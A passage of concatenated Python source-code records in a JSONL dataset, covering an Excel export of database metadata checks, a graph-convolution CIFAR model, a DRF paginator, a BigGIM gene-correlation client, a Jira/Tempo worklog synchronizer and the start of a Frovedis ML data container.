r13_col, r14_tab, r15_col, r16_cod, r17_tab, r18_col,\n                     r19_col]\n        # func_list = [r19_col]\n    # 执行函数并输出结果\n    for func in func_list:\n        basename, extension = os.path.splitext(input_file)\n        func_name = getattr(func, '__name__')\n        func_doc = getattr(func, '__doc__')\n        output_name = basename + '_' + func_name + '_' + func_doc + '({0})' + extension\n        # 创建临时文件并写入文件头\n        temp_file = '_t' + extension\n        wb = xlsxwriter.Workbook(temp_file)\n        if func_name[-3:] == \"tab\":\n            sheet = wb.add_worksheet('表级信息')\n            # 添加表头\n            headings = ('系统名称', '系统代码', '系统模块', '模式名（Schema）', '表分类', '表英文名', '表中文名',\n                        '表描述', '表类型', '是否存在主键', '重要程度', '唯一索引', '非唯一索引', '表最新数据日期')\n        elif func_name[-3:] == \"col\":\n            sheet = wb.add_worksheet('字段级信息')\n            headings = ('系统名称', '系统代码', '系统模块', '模式名（Schema）', '表分类', '表英文名',\n                        '表中文名', '字段序号', '字段英文名', '字段中文名', '字段类型', '是否主键',\n                        '是否允许为空', '是否代码字段', '是否引用代码表', '字段注释')\n        elif func_name[-3:] == \"cod\":\n            sheet = wb.add_worksheet('代码级信息')\n            headings = ('系统名称', '系统代码', '系统模块', '模式名（Schema）', '表分类', '表英文名', '表中文名',\n                        '字段英文名', '字段中文名', '字段类型', '代码取值', '代码注释')\n\n        sheet.write_row('A{0}'.format(1), headings)\n\n        # 从第2行写入检核数据\n        x = 2\n        for i in func(cur):\n            # print('  row_value: ', x, i[2])\n            # 从第2行开始写入数据\n            sheet.write_row('A{0}'.format(x), i[2])\n            # 行递增\n            x = x + 1\n        # 关闭文件\n        wb.close()\n        # 将临时文件重命名为正式文件\n        # if x - 2 > 0:\n        #     output_file = output_name.format(x - 2)\n        #     print('output_file: ', output_file)\n        #     os.rename(temp_file, output_file)\n        # else:\n        #     os.remove(temp_file)\n        output_file = output_name.format(x - 2)\n        # print('output_file: ', output_file)\n        os.rename(temp_file, output_file)\n        yield output_file\n    # 关闭游标\n    con.close()\n\n\nif __name__ == '__main__':\n    # main(input_file='数据字典_V0.1.xlsx')\n    main(input_file='NDS1560.xlsx')\n","sub_path":"comb_v1.3.py","file_name":"comb_v1.3.py","file_ext":"py","file_size_in_byte":20034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"611520864","text":"from typing import Tuple\nfrom collections import OrderedDict\n\nimport torch\nimport torch.nn as nn\nfrom scipy import sparse\n\nfrom models.layers.graph_conv import FixGraphConv\nfrom models.layers.utils_graph import get_conv, get_pool\nfrom utils.argparser import get_args\nfrom utils.helpers import t_add, conv_output_shape, json2dict\nargs = get_args()\n\n\nclass GraphConvNetCIFAR(nn.Module):\n    def __init__(self, input_shape=(32, 32), nb_class=10):\n        super(GraphConvNetCIFAR, self).__init__()\n        self.nb_class = nb_class\n\n        layers = []\n\n        nb_filter_1 = 66 \n        nb_filter_2 = 99\n\n        layer, out_shape = get_layer(3, nb_filter_1, input_shape, pooling_layer=False)\n        layers.append(layer)\n        layer, out_shape = get_layer(nb_filter_1, nb_filter_1, out_shape)\n        layers.append(layer)\n\n        layers.append(nn.BatchNorm1d(nb_filter_1))\n\n        layer, out_shape = get_layer(nb_filter_1, nb_filter_2, out_shape, pooling_layer=False)\n        layers.append(layer)\n        layer, out_shape = get_layer(nb_filter_2, nb_filter_2, out_shape)\n        layers.append(layer)\n\n        layers.append(nn.BatchNorm1d(nb_filter_2))\n\n        layer, out_shape = get_layer(nb_filter_2, nb_filter_2, out_shape, pooling_layer=False)\n        layers.append(layer)\n        layer, out_shape = get_layer(nb_filter_2, nb_filter_2, out_shape)\n        layers.append(layer)\n\n        layers.append(nn.BatchNorm1d(nb_filter_2))\n\n        layer, out_shape = get_layer(nb_filter_2, nb_filter_2, out_shape, pooling_layer=False)\n        layers.append(layer)\n        layer, out_shape = get_layer(nb_filter_2, self.nb_class, out_shape, last_layer=True)\n        layers.append(layer)\n\n        self.seq = nn.Sequential(*layers)\n\n\n        print(f\"Shape before de Fully connected is {out_shape}\")\n        self.drop_out = nn.Dropout()\n \n        if not args.global_average_pooling:\n            print(\"FC layer used at the end\")\n            self.fc1 = nn.Linear(self.nb_class * out_shape[0] * out_shape[1], 1000)\n            self.fc2 = nn.Linear(1000, self.nb_class)\n        else:\n            print(\"global average used\")\n\n    def forward(self, x):\n        out = self.seq(x)\n\n        if not args.global_average_pooling:\n            out = out.reshape(out.size(0), -1)\n            out = self.drop_out(out)\n            out = self.fc1(out)\n            out = self.drop_out(out)\n            out = self.fc2(out)\n        else:\n            # Global Average Pooling to agregate into 10 values.\n            out = out.mean(2)\n\n        return out\n\ndef get_layer(nb_channel_in, nb_channel_out, input_shape, pooling_layer=True, \n              last_layer=False):\n\n    # Read config file or argparse arguments\n    conf = json2dict(args.conv_arch)\n    merge_way = conf['merge_way']\n    same_filters = conf['same_filters']\n    underlying_graphs = conf['underlying_graphs']  # [{'left', 'right', 'bottom', 'top'}]\n\n    if last_layer:\n        merge_way = 'mean'\n\n    conv, out_shape = get_conv(nb_channel_in, nb_channel_out, input_shape=input_shape,\n                               kernel_size=2, merge_way=merge_way, same_filters=same_filters,\n                               underlying_graphs=underlying_graphs)\n\n    seq = OrderedDict()\n    #if dropout_rate > 0 :\n    #    seq['dropout'] = nn.Dropout(dropout_rate)\n    seq['conv'] = conv\n    seq['relu'] = nn.ReLU()\n    if pooling_layer:\n        pool, out_shape = get_pool(kernel_size=3, stride=2, padding=1,\n                                   input_shape=out_shape)\n        seq['pool'] = pool\n\n    layer = nn.Sequential(seq)\n    return layer, out_shape\n\n\n","sub_path":"graphSym/models/graph_cifar.py","file_name":"graph_cifar.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"346130349","text":"from rest_framework.pagination import PageNumberPagination\nfrom rest_framework.response import Response\nfrom collections import OrderedDict, namedtuple\n\nclass MyPageNumberPagination(PageNumberPagination):\n\n  def get_paginated_response(self, data):\n    return Response(OrderedDict([\n      ('count', self.page.paginator.count), # 总数量\n      ('next', self.get_next_link()),       # 下一页链接\n      ('cur_number', self.page.number),    # 当前页数\n      ('previous', self.get_previous_link()), # 前一页链接\n      ('results', data)                       # 数据\n    ]))\n","sub_path":"main/pagination.py","file_name":"pagination.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"288754444","text":"import codecs\nfrom typing import Union\n\n\ndef parse_float(n: str, defalut: Union[float, int] = 0):\n    try:\n        return float(n)\n    except ValueError:\n        return defalut\n\n\ndef remove_bom(s: str) -> str:\n    if s.startswith(codecs.BOM_UTF8):\n        return s[len(codecs.BOM_UTF8):]\n    else:\n        return s\n","sub_path":"utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"49209554","text":"# this module interacts with biggim as of 2020-03\nimport codecs\nimport csv\nimport re\nimport time\nfrom contextlib import closing\n\nimport requests\nfrom fuzzywuzzy.process import extractOne\n\nfrom improving_agent.models.edge_attribute import EdgeAttribute\nfrom improving_agent.util import get_evidara_logger\n\nlogger = get_evidara_logger(__name__)\n\nBIG_GIM_TISSUES = requests.get(\"http://biggim.ncats.io/api/metadata/tissue\").json()[\"tissues\"]\n\n\nclass BigGimClient:\n    \"\"\"A class for querying NCATS Translator BigGIM. This is held in a\n    class for the ability to cache the result of tissues and potentially\n    other metadata\"\"\"\n\n    def __init__(self):\n        \"\"\"Instantiates a BigGimClient object\"\"\"\n        self.available_tissue_studies = {}\n\n    def get_available_tissue_studies(self, tissue):\n        \"\"\"Returns columns related to tissue that can be searched in\n        BigGIM\"\"\"\n        # check for tissue in cached dict and get if not there\n        if tissue not in self.available_tissue_studies:\n            r = requests.get(f\"http://biggim.ncats.io/api/metadata/tissue/{tissue}\")\n            self.available_tissue_studies[tissue] = r.json()[\"substudies\"]\n\n        # unpack potential tissues, returning those from GIANT and GTEx\n        return [\n            column[\"name\"] for column in [\n                col\n                for study in self.available_tissue_studies[tissue]\n                for col in study[\"columns\"]\n            ]\n            if (\n                re.match(\"GIANT|GTEx\", column[\"name\"])\n                and column[\"table\"][\"name\"] == \"BigGIM_v1\"\n            )\n        ]\n\n    def search_biggim_tissues(self, genes, tissues):\n        \"\"\"Hits BigGIM to retrieve gene correlations for a given\n        anatomical tissue\n\n        Parameters\n        ----------\n        genes (list of str or int): ENTREZ gene ids to search. Genes are\n            searched combinatorically\n        tissues (list of str): one or more anatomies to search in BigGim\n\n        Returns\n        -------\n        \"\"\"\n        if len(genes) < 2:\n            # we don't want to deal with that many results\n            logger.warning(\"Too few genes to query BigGIM, exiting without annotation\")\n            return []\n\n        logger.info(f\"Querying BigGIM for {len(genes)} genes and {len(tissues)} tissues.\")\n\n        columns = []\n        for tissue in tissues:\n            columns.extend(self.get_available_tissue_studies(tissue))\n\n        # set up search strings\n        search_columns = \",\".join(set(columns))\n        search_genes = \",\".join(set([str(gene) for gene in genes]))\n        r = requests.post(\n            \"http://biggim.ncats.io/api/biggim/query\",\n            json={\n                \"table\": \"BigGIM_70_v1\",\n                \"ids1\": search_genes,\n                \"ids2\": search_genes,\n                \"columns\": search_columns,\n            },\n        )\n\n        if r.status_code != 200:\n            logger.warning(f\"Querying BigGIM failed with {r.status_code} and {r.text}\")\n            return []\n\n        request_id = r.json()[\"request_id\"]\n        results_ready = False\n        while not results_ready:\n            time.sleep(1)\n            results_r = requests.get(\n                f\"http://biggim.ncats.io/api/biggim/status/{request_id}\"\n            )\n            if results_r.json()[\"status\"] == \"complete\":\n                results_ready = True\n            elif results_r.json()[\"status\"] == \"error\":\n                logger.warning(f\"BigGIM failed with {r.text}\")\n                return []\n        # the below should be refactored into its own function.. could\n        # be useful to serialize remote csvs easily\n\n        # set up dict for results and fetch csv from BigGIM\n        biggim_results = {}\n        result_url = results_r.json()[\"request_uri\"][0]\n\n        # get the header row\n        with closing(requests.get(result_url, stream=True)) as r:\n            reader = csv.reader(codecs.iterdecode(r.iter_lines(), \"utf-8\"))\n            header_row = next(reader)\n\n        # iterate through the results\n        with closing(requests.get(result_url, stream=True)) as r:\n            reader = csv.DictReader(\n                codecs.iterdecode(r.iter_lines(), \"utf-8\"), fieldnames=header_row\n            )\n            _ = next(reader)  # skip header row\n            for row in reader:\n                biggim_results[f\"{str(row['Gene1'])}-{str(row['Gene2'])}\"] = row\n\n        return biggim_results\n\n    def search_biggim_disease(self, session, genes, disease):\n        \"\"\"Hits BigGIM to retrieve gene correlations for a given disease\n        as it relates to specific tissues.\n\n        This function first searches SPOKE to improve understand which\n        tissue is most relevant for the disease of interest.\n\n        Parameters\n        ----------\n        session (neo4j.GraphDatabase.driver.session): neo4j database\n            connection with which tissue can be searched\n        genes (list of str or int): ENTREZ gene ids to search. Genes are\n            searched combinatorically\n        disease (str): DOID identifier for diseases to search in SPOKE\n            to determine which tissue to retrieve\n\n        Returns\n        -------\n        <unnamed> (list of ..)\n        \"\"\"\n        tissue_results = session.run(\n            \"MATCH p=(d:Disease)-[e:LOCALIZES_DlA]-(a:Anatomy) \"\n            \"WHERE d.identifier = {disease_id} \"\n            \"RETURN * ORDER BY e.cooccur DESC LIMIT 5\",\n            disease_id=disease,\n        )\n        top_spoke_tissues = [\n            record[\"a\"].get(\"name\") for record in tissue_results.records()\n        ]\n        search_tissues = [\n            extractOne(tissue, BIG_GIM_TISSUES)[0]\n            for tissue in top_spoke_tissues\n        ]\n        return self.search_biggim_tissues(genes, search_tissues)\n\n    def check_query_graph(self, query_order):\n        \"\"\"Returns lists of nodes and edges that can be annotated by\n        BigGIM\n\n        Parameters\n        ----------\n        query_order (list of qnode and qedge objects):\n\n        Returns\n        -------\n        gene_nodes_to_search (list of models.QNode): QNodes whose\n            corresponding KnowledgeGraph Nodes can be searched in\n            BigGIM\n        gene_gene_edges (list of models.QEdge): QEdges whose\n            corresponding KnowledgeGraph Edges can be annotated\n        \"\"\"\n        gene_nodes_to_search = []\n        gene_gene_edges = []\n        first = iter(query_order)\n        second = iter(query_order[2::2])\n        for triplet in zip(first, first, second):\n            if triplet[0].type == \"biolink:Gene\" and triplet[2].type == \"biolink:Gene\":\n                gene_nodes_to_search.append(triplet[0])\n                gene_nodes_to_search.append(triplet[2])\n                gene_gene_edges.append(triplet[1])\n        return gene_nodes_to_search, gene_gene_edges\n\n    def annotate_edges_with_biggim(\n        self, session, query_order, results, disease=None, anatomy=None\n    ):\n        \"\"\"Annotates gene-gene edges with relevant metadata from BigGIM\n\n        Parameters\n        ----------\n        session (neo4j.GraphDatabase.driver.session): neo4j cursor to\n            query SPOKE\n        query_order (list of models.QNode/QEdge): the ordered\n            query_graph sent to evidARA for evaluation; here used to\n            check if consecutive nodes are genes\n        results (list of models.Result): results to be updated with\n            BigGIM coexpression data, if available\n        disease (str): DOID for which to search SPOKE and BigGIM for\n            related tissue types\n        anatomy (str): UBERON identifier for which to search BigGIM for\n            related tissue types\n\n        Returns\n        -------\n        results (list of models.Result): results with edges annotated\n            with BigGIM results\n        \"\"\"\n        # require either disease or anatomy, return if both are missing\n        if disease is None and anatomy is None:\n            return results\n        bg_nodes, bg_edges = self.check_query_graph(query_order)\n        if len(bg_nodes) and disease:\n            logger.info(\"Query graph appropriate for BigGIM annotation\")\n\n            # iterate through results to extract gene ids\n            genes_to_search = [\n                result.knowledge_map[\"nodes\"][qnode.node_id]\n                for qnode in bg_nodes\n                for result in results\n            ]\n\n            # query BigGIM\n            bg_results = self.search_biggim_disease(session, genes_to_search, disease)\n            if not len(bg_results):\n                logger.info(\"No results returned from BigGIM\")\n                return results\n\n            # TODO: put this in its own function\n            # annotate results\n            logger.info(f\"Found {len(results)} BigGIM results; annotating edges.\")\n            uninteresting_keys = set([\"GPID\", \"Gene1\", \"Gene2\"])\n            for result in results:\n                edges_to_update = [\n                    result.knowledge_map[\"edges\"][edge.edge_id] for edge in bg_edges\n                ]\n                for edge in result.result_graph.edges:\n                    if edge.id in edges_to_update:\n                        key = None\n                        if f\"{edge.source_id}-{edge.target_id}\" in bg_results:\n                            key = f\"{edge.source_id}-{edge.target_id}\"\n                        elif f\"{edge.target_id}-{edge.source_id}\" in bg_results:\n                            key = f\"{edge.target_id}-{edge.source_id}\"\n                        else:\n                            continue\n                        for k, v in bg_results[key].items():\n                            if k not in uninteresting_keys:\n                                edge.edge_attributes.append(\n                                    EdgeAttribute(type=k, value=v)\n                                )\n        return results\n","sub_path":"app/improving_agent/src/kps/biggim.py","file_name":"biggim.py","file_ext":"py","file_size_in_byte":9792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"411874944","text":"# -*- coding: utf-8 -*-\n\n# Copyright (c) 2016 by jira_timemachine authors and contributors <see AUTHORS file>\n#\n# This module is part of jira_timemachine and is released under\n# the MIT License (MIT): http://opensource.org/licenses/MIT\n\n\"\"\"Module for synchronization of Jira worklogs between different instances.\"\"\"\n\nimport copy\nimport re\nimport itertools\nimport json\nfrom datetime import date, timedelta\nimport time\nfrom typing import Iterator, Dict, List, IO, TypeVar, Callable, Optional, Tuple, Union, Text\n\nimport attr\nimport click\nimport arrow\nimport six\nfrom jira import JIRA\nimport jira\nimport requests\n\n__version__ = '0.0.0'\n\n\n@attr.s  # pylint:disable=too-few-public-methods\nclass Worklog(object):\n    \"\"\"JIRA or Tempo worklog.\"\"\"\n\n    id = attr.ib(type=int)  #pylint:disable=invalid-name\n    \"\"\"\n    JIRA worklog ID.\n\n    Each Tempo worklog has separate Jira and Tempo worklog IDs. We use Jira IDs so worklogs can be idempotently synced\n    if a Jira instance adds/removes Tempo.\n    \"\"\"\n    tempo_id = attr.ib(type=Optional[int])\n    \"\"\"Tempo worklog ID or None for plain Jira worklogs.\"\"\"\n    started = attr.ib(type=arrow.Arrow)\n    time_spent_seconds = attr.ib(type=int)\n    description = attr.ib(type=Text)\n    author = attr.ib(type=Text)\n    issue = attr.ib(type=Text)\n\n    def to_tempo(self):\n        # type: () -> dict\n        \"\"\"Return self as dict for use in Tempo API.\"\"\"\n        return {\n            'attributes': [],\n            'authorAccountId': self.author,\n            'description': self.description,\n            'issueKey': self.issue,\n            'startDate': self.started.format('YYYY-MM-DD'),\n            'startTime': self.started.format('HH:mm:ss'),\n            'timeSpentSeconds': self.time_spent_seconds,\n        }\n\n\nclass TempoClient(object):\n    \"\"\"\n    A client for Tempo Cloud APIs.\n\n    See <https://tempo-io.github.io/tempo-api-docs/> for the API documentation.\n    \"\"\"\n\n    def __init__(self, tempo_token, account_id):\n        # type: (str, str) -> None\n        \"\"\"Prepare session for Tempo API requests.\"\"\"\n        self.account_id = account_id\n        self.session = requests.Session()\n        self.session.headers.update({\n            'Authorization': 'Bearer %s' % tempo_token\n        })\n\n    def get_worklogs(self, from_date, single_user=True):\n        # type: (date, bool) -> Iterator[Worklog]\n        \"\"\"\n        Return all recent worklogs for the specified user.\n\n        :rtype: iterator\n        :returns: yields Worklog instances\n        \"\"\"\n        if single_user:\n            url = 'https://api.tempo.io/core/3/worklogs/user/%s?from=%s&to=%s' % (\n                self.account_id, from_date, date.today())\n        else:\n            url = 'https://api.tempo.io/core/3/worklogs?from=%s&to=%s' % (from_date, date.today())\n        while url:\n            res = self.session.get(\n                url,\n                allow_redirects=False,\n            )\n            try:\n                res.raise_for_status()\n            except:\n                click.echo(res.content)\n                raise\n            response_data = res.json()\n            for row in response_data['results']:\n                if single_user and row['author']['accountId'] != self.account_id:\n                    continue\n                yield Worklog(\n                    id=int(row['jiraWorklogId']),\n                    tempo_id=int(row['tempoWorklogId']),\n                    author=row['author']['accountId'],\n                    started=arrow.get('{startDate} {startTime}'.format(**row)),\n                    time_spent_seconds=int(row['timeSpentSeconds']),\n                    issue=row['issue']['key'],\n                    description=row['description'],\n                )\n            url = response_data['metadata'].get('next')\n\n    def update_worklog(self, worklog):\n        # type: (Worklog) -> None\n        \"\"\"\n        Update the specified worklog.\n\n        :param Worklog worklog: updated worklog data\n        \"\"\"\n        if worklog.tempo_id is None:\n            raise ValueError('The worklog to update must have a Tempo ID')\n        res = self.session.put(\n            b'https://api.tempo.io/core/3/worklogs/%d' % worklog.tempo_id,\n            data=json.dumps(worklog.to_tempo()).encode('utf-8')\n        )\n        try:\n            res.raise_for_status()\n        except:\n            click.echo(res.content)\n            raise\n\n    def post_worklog(self, worklog):\n        # type: (Worklog) -> None\n        \"\"\"\n        Upload a new worklog.\n\n        :param dict worklog: new worklog data\n        \"\"\"\n        res = self.session.post(\n            b'https://api.tempo.io/core/3/worklogs',\n            data=json.dumps(worklog.to_tempo()).encode('utf-8')\n        )\n        try:\n            res.raise_for_status()\n        except:\n            click.echo(res.content)\n            raise\n\n\nclass JIRAClient(object):  # pylint:disable=too-few-public-methods\n    \"\"\"A client for JIRA API.\"\"\"\n\n    _ISSUE_JQL = 'project = {project_key} AND updated >= \"{0}\" ORDER BY key ASC'\n    \"\"\"JQL query format for listing all issues with worklogs to read.\"\"\"\n\n    def __init__(self, config):\n        # type: (dict) -> None\n        \"\"\"Initialize with credentials from the *config* dict.\"\"\"\n        self._jira = JIRA(\n            config['url'],\n            basic_auth=(config['email'], config['jira_token'])\n        )\n        self._project_key = config.get('project_key')\n        self.account_id = self._jira.myself()['accountId']  # type: str\n\n    def _issues(self, query):\n        # type: (str) -> Iterator[jira.Issue]\n        \"\"\"Issues iterator.\"\"\"\n        issue_index = 1\n        while True:\n            search_results = self._jira.search_issues(jql_str=query, startAt=issue_index, maxResults=50)\n            for issue in search_results:\n                yield issue\n            issue_index += 51\n            if len(search_results) < 50:\n                return\n\n    def get_worklogs(self, from_date, single_user=True):\n        # type: (date, bool) -> Iterator[Worklog]\n        \"\"\"\n        Return all recent worklogs for the specified user.\n\n        :rtype: iterator\n        :returns: yields Worklog instances\n        \"\"\"\n        for issue in self._issues(self._ISSUE_JQL.format(from_date, project_key=self._project_key)):\n            for jira_worklog in self._jira.worklogs(issue):\n                worklog = Worklog(\n                    id=int(jira_worklog.id),\n                    tempo_id=None,\n                    author=jira_worklog.author.accountId,\n                    time_spent_seconds=int(jira_worklog.timeSpentSeconds),\n                    issue=issue.key,\n                    started=arrow.get(jira_worklog.started),\n                    description=getattr(jira_worklog, 'comment', u''),\n                )\n                if single_user and worklog.author != self.account_id:\n                    continue\n                yield worklog\n\n\ndef get_tempo_client(config):\n    # type: (dict) -> TempoClient\n    \"\"\"Return a Tempo client for the source of worklogs specified in *config*.\"\"\"\n    jira_client = JIRAClient(config)\n    return TempoClient(config['tempo_token'], jira_client.account_id)\n\n\ndef get_client(config):\n    # type: (dict) -> Union[TempoClient, JIRAClient]\n    \"\"\"Return a client for the source of worklogs specified in *config*.\"\"\"\n    if 'tempo_token' in config and config['tempo_token']:\n        return get_tempo_client(config)\n    return JIRAClient(config)\n\n\ndef get_worklogs(config, since, all_users=False):\n    # type: (dict, arrow.Arrow, bool) -> Iterator[Worklog]\n    \"\"\"\n    Yield user's recent worklogs.\n\n    :param dict config: JIRA configuration\n    :param arrow.Arrow since: earliest start time of yielded worklogs\n    :param bool all_users: if True, yield also worklogs from other users if available\n    \"\"\"\n    for worklog in get_client(config).get_worklogs(\n            from_date=since.date(),\n            single_user=not all_users,\n    ):\n        if worklog.started < since:\n            click.echo('Skip, update too long ago {0}'.format(worklog.started))\n            continue\n        yield worklog\n\n\ndef format_time(seconds):\n    # type: (int) -> str\n    \"\"\"\n    Return *seconds* in a human-readable format (e.g. 25h 15m 45s).\n\n    Unlike `timedelta`, we don't aggregate it into days: it's not useful when reporting logged work hours.\n    \"\"\"\n    out = []\n    if seconds > 3599:\n        out.append('%sh' % (seconds // 3600))\n        seconds = seconds % 3600\n    if seconds > 59:\n        out.append('%sm' % (seconds // 60))\n        seconds = seconds % 60\n    if seconds > 0:\n        out.append('%ss' % seconds)\n    return ' '.join(out)\n\n\nAUTO_WORKLOG = re.compile(r'TIMEMACHINE_WID (?P<id>\\d+).*')\n\"\"\"Regexp to detect the automatic worklog in Destination JIRA.\"\"\"\n\n\ndef match_worklog(source_worklogs, worklog):\n    # type: (Dict[int, Worklog], Worklog) -> Optional[Worklog]\n    \"\"\"\n    Return a matching source worklog for the given destination worklog.\n\n    :param dict source_worklogs: a mapping from source JIRA worklog ID to `Worklog` instance\n    :param Worklog worklog: destination JIRA worklog\n\n    :rtype: Worklog\n    :returns: a worklog from *source_worklogs* that was previously copied into the destination JIRA as *worklog*, or\n        None if *worklog* has no corresponding source worklo\n    \"\"\"\n    match = AUTO_WORKLOG.match(worklog.description)\n    if not match:\n        return None\n    worklog_id = int(match.groupdict()['id'])\n    try:\n        return source_worklogs[worklog_id]\n    except KeyError:\n        # might be some old worklog\n        return None\n\n\n@click.command()\n@click.option('--config', help=\"Config path\", type=click.File())\n@click.option('--days', help=\"How many days back to look\", default=1)\ndef timemachine(config, days):\n    # type: (IO[str], int) -> None\n    \"\"\"Copy worklogs from source Jira issues to the destination Jira issue.\"\"\"\n    config_dict = json.load(config)\n    utcnow = arrow.utcnow()\n\n    # Automatic worklog message.\n    worklog_msg = u\"TIMEMACHINE_WID {0.id}: {0.author} spent {0.time_spent_seconds}s on {0.issue} at {0.started}\"\n\n    source_worklogs = {\n        worklog.id: worklog\n        for worklog in get_worklogs(config_dict['source_jira'], utcnow - timedelta(days=days))}\n\n    # How mapping to multiple destination JIRA works: we have a default issue (config_dict['destination_jira']) and a\n    # mapping from source JIRA issue to a destination JIRA issue (config_dict['issue_map']) overriding it for specific\n    # issues. If a worklog is already copied into any of these issues, it might get updated there. New worklogs are\n    # created as specified in the mapping. No worklogs are moved or deleted.\n    dest_issues = {config_dict['destination_jira']['issue']} | set(six.itervalues(config_dict.get('issue_map', {})))\n\n    # Query all recent user's worklogs and then filter by task. It should be faster than querying by issue and\n    # filtering by user if several users sync worklogs to the same issue and the user doesn't have too many worklogs in\n    # other issues (e.g. logging time to the destination Jira mostly via the timemachine).\n    destination_tempo = get_tempo_client(config_dict['destination_jira'])\n    for ccworklog in destination_tempo.get_worklogs(\n            from_date=(utcnow - timedelta(days=days)).date(),\n    ):\n        if ccworklog.issue not in dest_issues:\n            continue\n        source_worklog = match_worklog(source_worklogs, ccworklog)\n        if source_worklog is None:\n            continue\n        del source_worklogs[source_worklog.id]\n        comment = worklog_msg.format(source_worklog)\n        if ccworklog.description == comment:\n            click.echo(u\"Nothing changed for {0}\".format(ccworklog.description))\n            continue\n        click.echo(u\"Updating worklog {0} to {1}\".format(ccworklog.description, comment))\n        ccworklog.description = worklog_msg.format(source_worklog)\n        ccworklog.started = source_worklog.started\n        ccworklog.time_spent_seconds = source_worklog.time_spent_seconds\n        destination_tempo.update_worklog(ccworklog)\n\n    click.echo(\"Writing {0} worklogs to Destination JIRA\".format(len(source_worklogs)))\n\n    with click.progressbar(source_worklogs.values(), label=\"Writing worklog\") as worklogs:\n\n        for source_worklog in worklogs:\n            source_worklog.description = worklog_msg.format(source_worklog)\n            source_worklog.issue = config_dict.get('issue_map', {}).get(\n                source_worklog.issue, config_dict['destination_jira']['issue'])\n            source_worklog.author = destination_tempo.account_id\n            destination_tempo.post_worklog(source_worklog)\n\n\n@click.command()\n@click.option('--config', help='Config path', type=click.File())\n@click.option(\n    '--since', help='Date from which to start listing (defaults to the start of the current month)', default='')\n@click.option('--pm', 'is_pm', help='Show time spent by all users', type=bool, default=False, is_flag=True)\ndef timecheck(config, since, is_pm):\n    # type: (IO[str], str, bool) -> None\n    \"\"\"List time spent per day and overall on the source JIRA.\"\"\"\n    config_dict = json.load(config)\n    start = arrow.get(since) if since else arrow.utcnow().floor('month')\n    total = 0\n\n    def worklog_key(worklog):\n        # type: (Worklog) -> Tuple[date, Text]\n        \"\"\"Return the worklog grouping key.\"\"\"\n        return (worklog.started.date(), worklog.author)\n\n    for (day, author), worklogs in itertools.groupby(\n            sorted(get_worklogs(config_dict['source_jira'], start, all_users=is_pm), key=worklog_key),\n            worklog_key,\n    ):\n        day_sum = sum(worklog.time_spent_seconds for worklog in worklogs)\n        total += day_sum\n        click.echo('{} {} spent {}'.format(day, author, format_time(day_sum)))\n\n    click.echo('Total {}'.format(format_time(total)))\n","sub_path":"src/jira_timemachine/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":13778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"647143666","text":"\"\"\"ml_data.py\"\"\"\n#!/usr/bin/env python\n\nimport numpy as np\nfrom scipy.sparse import issparse, csr_matrix\nfrom ..exrpc.server import FrovedisServer\nfrom ..exrpc.rpclib import distinct_count, check_server_exception\nfrom .dvector import FrovedisDvector\nfrom .crs import FrovedisCRSMatrix\nfrom .dense import FrovedisColmajorMatrix\nfrom .dense import FrovedisRowmajorMatrix\nfrom .dtype import TypeUtil, DTYPE\n\n\nclass FrovedisLabeledPoint:\n    \"\"\"A python container for frovedis side data for supervised\n    ML algorithms\"\"\"\n\n    def __init__(self, mat, lbl):\n        # decision making whether the converted data would be movable upon\n        # destruction\n        if (isinstance(mat, FrovedisCRSMatrix) or\\\n            isinstance(mat, FrovedisColmajorMatrix)):\n            self.__mat_movable = False\n        else:\n            self.__mat_movable = True\n\n        (host, port) = FrovedisServer.getServerInstance()\n        if isinstance(lbl, FrovedisDvector):\n            self.__lbl_movable = False\n            #self.unique_label_count = distinct_count(host, port, lbl.get(),\n            #                                         lbl.get_dtype())\n            self.unique_elements = np.asarray(lbl.get_unique_elements())\n            excpt = check_server_exception()\n            if excpt[\"status\"]:\n                raise RuntimeError(excpt[\"info\"])\n        else:\n            self.__lbl_movable = True\n            #self.unique_label_count = len(np.unique(lbl))\n            self.unique_elements = np.unique(lbl)\n\n        if issparse(mat) or isinstance(mat, FrovedisCRSMatrix):\n            self.__isDense = False\n        else:\n            self.__isDense = True\n\n        if self.__isDense:\n            if self.__mat_movable:\n                mat = np.asmatrix(mat)\n                if mat.dtype != np.float32 and mat.dtype != np.float64:\n                    # default double type (in case input matrix is integer type)\n                    target_dtype = np.float64\n                else:\n                    target_dtype = mat.dtype\n                self.X = FrovedisColmajorMatrix.asCMM(mat, dtype=target_dtype)\n            else:\n                self.X = mat # already created colmajor matrix\n            self.__dtype = self.X.get_dtype()\n            self.__itype = 0  # not meaningful for dense matrix\n        else: # sparse case\n            if self.__mat_movable:\n                mat = mat.tocsr()\n                if mat.dtype != np.float32 and mat.dtype != np.float64:\n                    # default double type (in case input matrix is integer type)\n                    target_dtype = np.float64\n                else:\n                    target_dtype = mat.dtype\n                self.X = FrovedisCRSMatrix.asCRS(mat, dtype=target_dtype)\n            else:\n                self.X = mat # already created crs matrix\n            self.__dtype = self.X.get_dtype()\n            self.__itype = self.X.get_itype()\n\n        self.__num_row = self.X.numRows()\n        self.__num_col = self.X.numCols()\n\n        # if lbl is ndarary or any python tuple/list etc.,\n        # it would be converted as xdtype data, while creating frovedis dvector\n        # to support sklearn style integer input for labels\n        # (mainly in case of classification problems)\n        xdtype = TypeUtil.to_numpy_dtype(self.__dtype)\n        self.y = FrovedisDvector.as_dvec(lbl, dtype=xdtype)\n\n        if self.__dtype != DTYPE.FLOAT and self.__dtype != DTYPE.DOUBLE:\n            raise TypeError(\n                \"Expected training data either of float or double type!\")\n        if not self.__isDense and (\n                self.__itype != DTYPE.INT and self.__itype != DTYPE.LONG):\n            raise TypeError(\n                \"Expected training sparse data itype to be\"\n                \" either int or long!\")\n        if self.__dtype != self.y.get_dtype():\n            type1 = TypeUtil.to_numpy_dtype(self.__dtype)\n            type2 = 